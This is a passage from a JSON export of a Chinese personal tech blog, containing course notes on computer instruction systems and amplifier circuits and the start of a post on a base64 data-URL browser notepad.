href=\"https://element-plus.org/en-US/component/button.html\"\u003e每个组件的独立文档\u003c/a\u003e.\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/"},{"title":"计组笔记:第五章-指令系统","time":"2023-06-17T12:07:32Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e指令是硬件和软件的中间层。指令系统的设计主要包括\u003cstrong\u003e指令功能\u003c/strong\u003e和\u003cstrong\u003e指令格式\u003c/strong\u003e的设计。它的评价指标有四点:完备(不能缺少功能)、高效(省地方一点)、规整(格式简单一点)、兼容性(向后兼容,无成本迁移)四方面。\u003c/p\u003e\u003ch2 id=\"指令的基本格式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"指令的基本格式\"\u003e\u003c/a\u003e指令的基本格式\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201110.png\"/\u003e\u003c/p\u003e\u003cp\u003e主要是两部分,首先是\u003cstrong\u003e操作码\u003c/strong\u003e,其次是数个地址(0个或多个)。将二进制编码用助记符表示,就是汇编语言。\u003c/p\u003e\u003cp\u003e计算机的存储方式有\u003cstrong\u003e大端存储(从数据的高字节开始存)、小端存储(从数据的低字节开始存)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201456.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201611.png\"/\u003e\u003c/p\u003e\u003cp\u003e此外还有\u003cstrong\u003e边界对齐\u003c/strong\u003e的概念。如图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201659.png\"/\u003e\u003c/p\u003e\u003cp\u003e还有一种存储模式,\u003cstrong\u003e堆栈\u003c/strong\u003e。这里的堆栈应该就是栈,堆和栈是俩不一样的东西,堆是存程序malloc的内存的,栈是存程序函数调用开销的,这俩在程序的内存中存储的位置也不一样。\u003c/p\u003e\u003cp\u003e存储模式也有两类:冯诺依曼结构(程序和数据等价)、哈佛结构(程序和数据不对等)。后者对于流水线结构有优化,能达到流水线的理想性能。现在的芯片内部Cache有的会使用哈佛结构:数据Cache、指令Cache,而外部使用冯诺依曼结构。\u003c/p\u003e\u003ch2 id=\"指令的典型分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E7%9A%84%E5%85%B8%E5%9E%8B%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"指令的典型分类\"\u003e\u003c/a\u003e指令的典型分类\u003c/h2\u003e\u003cul\u003e\u003cli\u003e数据传送类:频率最高,要快\u003c/li\u003e\u003cli\u003e算数运算类\u003c/li\u003e\u003cli\u003e逻辑运算类\u003c/li\u003e\u003cli\u003e程序控制类\u003cul\u003e\u003cli\u003e转移\u003c/li\u003e\u003cli\u003e循环\u003c/li\u003e\u003cli\u003e过程调用、返回指令\u003c/li\u003e\u003cli\u003e程序自中断指令\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e系统控制类:特权指令,虚存管理、任务切换、改变处理器工作模式\u003c/li\u003e\u003cli\u003e数据转换类:可选\u003c/li\u003e\u003cli\u003e输入输出类:根据统一编址(把接口的寄存器映射到主存,用数据传输指令访问外设)和独立编址,可能没有专门的输入输出指令。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"寻址方式:指令获取操作数的方式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E5%AF%BB%E5%9D%80%E6%96%B9%E5%BC%8F%EF%BC%9A%E6%8C%87%E4%BB%A4%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E6%95%B0%E7%9A%84%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"寻址方式:指令获取操作数的方式\"\u003e\u003c/a\u003e寻址方式:指令获取操作数的方式\u003c/h2\u003e\u003cul\u003e\u003cli\u003e隐含寻址:例如Intel指令\u003ccode\u003eMUL BL\u003c/code\u003e,事先规定好了地址在哪\u003c/li\u003e\u003cli\u003e立即寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203658.png\"/\u003e\u003c/li\u003e\u003cli\u003e寄存器寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203717.png\"/\u003e\u003c/li\u003e\u003cli\u003e直接寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203731.png\"/\u003e\u003c/li\u003e\u003cli\u003e间接寻址:操作数地址的地址,需要访问两次主存,比较慢\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203746.png\"/\u003e\u003c/li\u003e\u003cli\u003e寄存器间接寻址:把上面的地址放在CPU内部寄存器\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203754.png\"/\u003e\u003c/li\u003e\u003cli\u003e基址寻址:用来实现主存分段 \u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203826.png\"/\u003e\u003c/li\u003e\u003cli\u003e变址寻址:用来实现数组遍历 \u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203835.png\"/\u003e\u003c/li\u003e\u003cli\u003ePC相对寻址:PC指向下一条指令,这个方式给PC加偏移量,所以能用来实现与地址无关的程序设计\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203551.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e例如,x86处理器的条件转移指令就是一种PC相对寻址。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617204150.png\"/\u003e\u003c/p\u003e\u003cp\u003e无关位置的程序实现:\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚存管理:逻辑地址\u003c/li\u003e\u003cli\u003e内存分段管理:段内偏移\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面两种方案的缺点是位数多,占用指令存储空间大。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617204711.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"指令长度设计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E9%95%BF%E5%BA%A6%E8%AE%BE%E8%AE%A1\" class=\"headerlink\" title=\"指令长度设计\"\u003e\u003c/a\u003e指令长度设计\u003c/h2\u003e\u003cul\u003e\u003cli\u003e一般原则\u003cul\u003e\u003cli\u003e指令长度为存储器\u003cstrong\u003e最小可寻址单位\u003c/strong\u003e的整数倍:(CISC)(x86)\u003c/li\u003e\u003cli\u003e指令长度一般为\u003cstrong\u003e总线宽度\u003c/strong\u003e的整数倍:RISC\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e常用设计方案\u003cul\u003e\u003cli\u003e变长操作码,变长指令码:CISC(x86)\u003c/li\u003e\u003cli\u003e定长操作码,定长指令码:RISC\u003cul\u003e\u003cli\u003eMIPS,6位定长操作码,32位定长指令码\u003c/li\u003e\u003cli\u003eRISC-V,7位定长操作码,32位定长指令码\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e操作码\u003c/strong\u003e格式分为\u003cstrong\u003e定长、变长操作码\u003c/strong\u003e,变长操作码为了防止重复指令,得用赫夫曼编码来编制操作码。\u003c/p\u003e\u003col\u003e\u003cli\u003e定长操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e对于定长操作码,可以将指令从高频到低频排序,依次给从0开始编号。\u003c/p\u003e\u003cul\u003e\u003cli\u003e优点:操作码构造简单,硬件设计简单,译码速度快\u003c/li\u003e\u003cli\u003e缺点:操作码占存储空间大,难以扩展\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e变长操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e对于变长操作码,按照频率高到低排序,再构造霍夫曼树作为编码结果。\u003c/p\u003e\u003cp\u003e变长操作码设计原则:\u003c/p\u003e\u003cul\u003e\u003cli\u003e若指令字长度固定,则长地址码对应短操作码,操作码长度随地址码长度缩短而增加\u003c/li\u003e\u003cli\u003e如果指令字长度可变,则以指令使用频率为设计依据,高频短码,低频长码\u003c/li\u003e\u003cli\u003e设计总是\u003cstrong\u003e从短码开始\u003c/strong\u003e,并且保证现在的操作码和以后扩展的编码能区分\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e短码不能是长码的前缀\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e根据赫夫曼编码的合并方式不同,得到的结果可能不唯一,但是\u003cstrong\u003e平均码长一定是唯一的\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e缺点:编码长度种类过多,电路设计困难\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617205817.png\"/\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e扩展操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e是将赫夫曼编码的码长变为更少的种类。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618013331.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,它编码种类较少的同时,码长也很接近赫夫曼编码。因此实际设计时,一般使用这种设计方式。比如CISC的x86就可以这么设计。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617210813.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是两种设计方式。一个长度的指令码必须保留一种组合给更长的指令码做前缀。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618013746.png\"/\u003e\u003c/p\u003e\u003cp\u003e因此,上面的操作码可以设计如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e三地址:操作码6位,指令数$n_3\\leq2^6-1$\u003c/li\u003e\u003cli\u003e双地址:操作码11位,指令数$n_2\\leq(2^6-n_3)\\cdot2^5-1$\u003c/li\u003e\u003cli\u003e单地址:操作码16位,指令数$n_1\\leq((2^6-n_3)\\cdot2^5-n_2)\\cdot2^5-1$\u003c/li\u003e\u003cli\u003e零地址:操作码32位,指令数$n_0\\leq(((2^6-n_3)\\cdot 2^5 - n_2)\\cdot2^5-n_1)\\times2^{16}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618014509.png\"/\u003e\u003c/p\u003e\u003cp\u003e对于上面的问题,相当于计算单地址指令一共有多少个。我们分析如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618014832.png\"/\u003e\u003c/p\u003e\u003cp\u003e由上图的不等式能解出来,B类指令最多一共有254条。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617211810.png\"/\u003e\u003c/p\u003e\u003cp\u003e上题还是从短码开始考虑。首先短码有m条,则剩下的前缀有$2^4-m$个。再乘以长码扩展的长度$2^6$,就能得到长码最多的个数。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618015643.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618015933.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617213025.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"5-6-典型指令系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#5-6-%E5%85%B8%E5%9E%8B%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"5.6.典型指令系统\"\u003e\u003c/a\u003e5.6.典型指令系统\u003c/h2\u003e\u003ch3 id=\"Intel-x86\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#Intel-x86\" class=\"headerlink\" title=\"Intel x86\"\u003e\u003c/a\u003eIntel x86\u003c/h3\u003e\u003cp\u003e发展:从诞生时的80条指令增长到2015的3600条指令(来源Intel博客)。\u003c/p\u003e\u003cp\u003e十分复杂,指令集手册5000多页(\u003c/p\u003e\u003cp\u003e目前在向着RISC的方向均衡。它十分适合高性能计算。\u003c/p\u003e\u003ch3 id=\"MIPS\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#MIPS\" class=\"headerlink\" title=\"MIPS\"\u003e\u003c/a\u003eMIPS\u003c/h3\u003e\u003cp\u003eARM手册也长,8000多页(\u003c/p\u003e\u003cp\u003e32位MIPS\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618023229.png\"/\u003e\u003c/p\u003e\u003cp\u003e64位MIPS,14种指令格式\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618023357.png\"/\u003e\u003c/p\u003e\u003cp\u003eMIPS是arm流行之前,最流行的处理器。\u003c/p\u003e\u003cp\u003e这一章基本就是这样了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/"},{"title":"模电:第三章-放大电路分析方法","time":"2023-06-13T12:54:14Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"集电极放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E9%9B%86%E7%94%B5%E6%9E%81%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"集电极放大电路\"\u003e\u003c/a\u003e集电极放大电路\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605182453.png\"/\u003e\u003c/p\u003e\u003cp\u003e电路分析使用\u003cstrong\u003e静态分析\u003c/strong\u003e和\u003cstrong\u003e动态分析\u003c/strong\u003e两种方式,分别针对直流通路和交流通路。前者确定其静态工作点,后者确定其放大参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e静态分析\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e原理:KCL,列写方程如下:$V_{cc}=I_{BQ}R_b+U_{BEQ}+I_{EQ}R_e$\u003c/p\u003e\u003cp\u003e从而得到$Q(I_{BQ},I_{CQ},U_{CEQ})$如下:\u003c/p\u003e\u003col\u003e\u003cli\u003e$I_{BQ}=\\frac{V_{CC}-U_{BEQ}}{R_b}$\u003c/li\u003e\u003cli\u003e$I_{CQ}=\\beta I_{BQ}$\u003c/li\u003e\u003cli\u003e$U_{CEQ}=V_{CC}-I_{EQ}R_e=V_{CC}-I_{CQ}R_c$\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e动态分析:利用微变等效电路\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e交流输入电阻:$r_{be}=r_{bb’}+\\beta\\frac{U_T(26mv)}{I_{CQ}}$\u003c/li\u003e\u003cli\u003e电压放大倍数:$A_u=\\frac{U_o}{U_i}=-\\beta\\frac{R_L’(=R_C//R_L)}{R_{be}}$\u003c/li\u003e\u003cli\u003e输入电阻:$R_i=\\frac{U_i}{I_i}=R_b//r_{be}$\u003c/li\u003e\u003cli\u003e输出电阻:$R_o=R_c$\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e失真现象:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意:下面的讨论限于NPN型电路,PNP型需要反过来理解。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e消除方法\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eQ点过高:$I_{BQ}$偏大\u003c/td\u003e\u003ctd\u003e饱和失真(底部失真)\u003c/td\u003e\u003ctd\u003e增大$R_b$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eQ点过低:$I_{BQ}$偏小\u003c/td\u003e\u003ctd\u003e截止失真(顶部失真)\u003c/td\u003e\u003ctd\u003e减小$R_b$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e功率电子电路:还有一种失真是针对\u003cstrong\u003e乙型功率放大电路\u003c/strong\u003e的,它将两个三极管组合起来分别放大正版周期和负半周期。在接近$U$轴时,两个三极管均会进入截止区,此时信号会出现\u003cstrong\u003e交越失真\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e共基极放大电路特点:电压跟随、输入电阻大、输出电阻小\u003c/p\u003e\u003ch2 id=\"多级放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E5%A4%9A%E7%BA%A7%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"多级放大电路\"\u003e\u003c/a\u003e多级放大电路\u003c/h2\u003e\u003cul\u003e\u003cli\u003e耦合方式\u003cul\u003e\u003cli\u003e阻容耦合\u003cul\u003e\u003cli\u003e各级静态工作点独立,便于分析设计\u003c/li\u003e\u003cli\u003e难以大规模集成\u003c/li\u003e\u003cli\u003e不能放大直流信号和低频信号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e直接耦合\u003cul\u003e\u003cli\u003e各级静态工作点不独立,存在零点漂移(温度变化造成)\u003c/li\u003e\u003cli\u003e可以大规模集成\u003c/li\u003e\u003cli\u003e能同时放大直流信号和低频信号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的放大倍数等于各级放大倍数的乘积。它的动态/静态分析从输入端到输出端进行。\u003c/p\u003e\u003ch2 id=\"差动放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E5%B7%AE%E5%8A%A8%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"差动放大电路\"\u003e\u003c/a\u003e差动放大电路\u003c/h2\u003e\u003cp\u003e它使用外部干扰作用于两个端口上的干扰信号程度一致这个特性,将输入分为共模/\u003cstrong\u003e差模\u003c/strong\u003e信号,以将干扰抵消。\u003c/p\u003e\u003ch2 id=\"负反馈电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E8%B4%9F%E5%8F%8D%E9%A6%88%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"负反馈电路\"\u003e\u003c/a\u003e负反馈电路\u003c/h2\u003e\u003cul\u003e\u003cli\u003e负反馈\u003cul\u003e\u003cli\u003e降低放大倍数\u003cul\u003e\u003cli\u003e开环放大倍数:$A=\\frac{X_o}{X_i}$\u003c/li\u003e\u003cli\u003e闭环放大倍数:$A_f=\\frac{A}{1+AF}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e提高放大倍数稳定性\u003c/li\u003e\u003cli\u003e减小非线性失真\u003c/li\u003e\u003cli\u003e展宽放大电路通频带\u003c/li\u003e\u003cli\u003e影响输入、输出电阻\u003cul\u003e\u003cli\u003e串联反馈:输入电阻增大\u003c/li\u003e\u003cli\u003e并联反馈:输入电阻减小\u003c/li\u003e\u003cli\u003e电压型负反馈:输出电阻减小\u003c/li\u003e\u003cli\u003e电流型负反馈:输出电阻增大\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"集成运算放大器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E9%9B%86%E6%88%90%E8%BF%90%E7%AE%97%E6%94%BE%E5%A4%A7%E5%99%A8\" class=\"headerlink\" title=\"集成运算放大器\"\u003e\u003c/a\u003e集成运算放大器\u003c/h2\u003e\u003cp\u003e一个三端口元器件,输入$U_{i1}(-)$和$U_{i2}(+)$,输出$U_o$。\u003c/p\u003e\u003cul\u003e\u003cli\u003e$U_o=A_{od}(U_{i2}-U_{i1})=A_{od}\\cdot U_i$\u003c/li\u003e\u003cli\u003e$U_o=(1+\\frac{R_F}{R_1})U_1$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"理想化条件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E7%90%86%E6%83%B3%E5%8C%96%E6%9D%A1%E4%BB%B6\" class=\"headerlink\" title=\"理想化条件\"\u003e\u003c/a\u003e理想化条件\u003c/h3\u003e\u003col\u003e\u003cli\u003e开环电压放大倍数趋于无穷:$A_{uo}=\\infty$\u003c/li\u003e\u003cli\u003e输入电阻值趋于无穷:$r_{id}=\\infty$\u003c/li\u003e\u003cli\u003e输出电阻值近似为0:$r_o=0$\u003c/li\u003e\u003cli\u003e共模抑制比趋于无穷\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e虚短:两输入端电压非常接近于0:$u_+=u_-$\u003cbr/\u003e虚断:输入端虽不断却无电流:$i_+=0,i_-=0$\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/"},{"title":"一个奇怪的Base64浏览器记事本","time":"2023-06-10T12:31:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003esource: \u003ca href=\"https://www.v2ex.com/t/944717#reply144\"\u003e开源一个无后端也无前端彻底无服务的网页版记事本 - V2EX\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"本体\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E6%9C%AC%E4%BD%93\" class=\"headerlink\" title=\"本体\"\u003e\u003c/a\u003e本体\u003c/h2\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PGh0bWwgY29udGVudGVkaXRhYmxlPmVkaXQgbWU8L2h0bWw+\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e没了。对,没了。直接复制粘贴到浏览器(Chromium系的)地址栏里边打开,然后随便写什么都行。\u003c/p\u003e\u003cp\u003e写完了甚至可以直接\u003ccode\u003eCtrl+S\u003c/code\u003e保存网页,再打开甚至 还 能 编 辑 。\u003c/p\u003e\u003cp\u003e大 受 震 撼 . j p g\u003c/p\u003e\u003ch2 id=\"解析\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%A7%A3%E6%9E%90\" class=\"headerlink\" 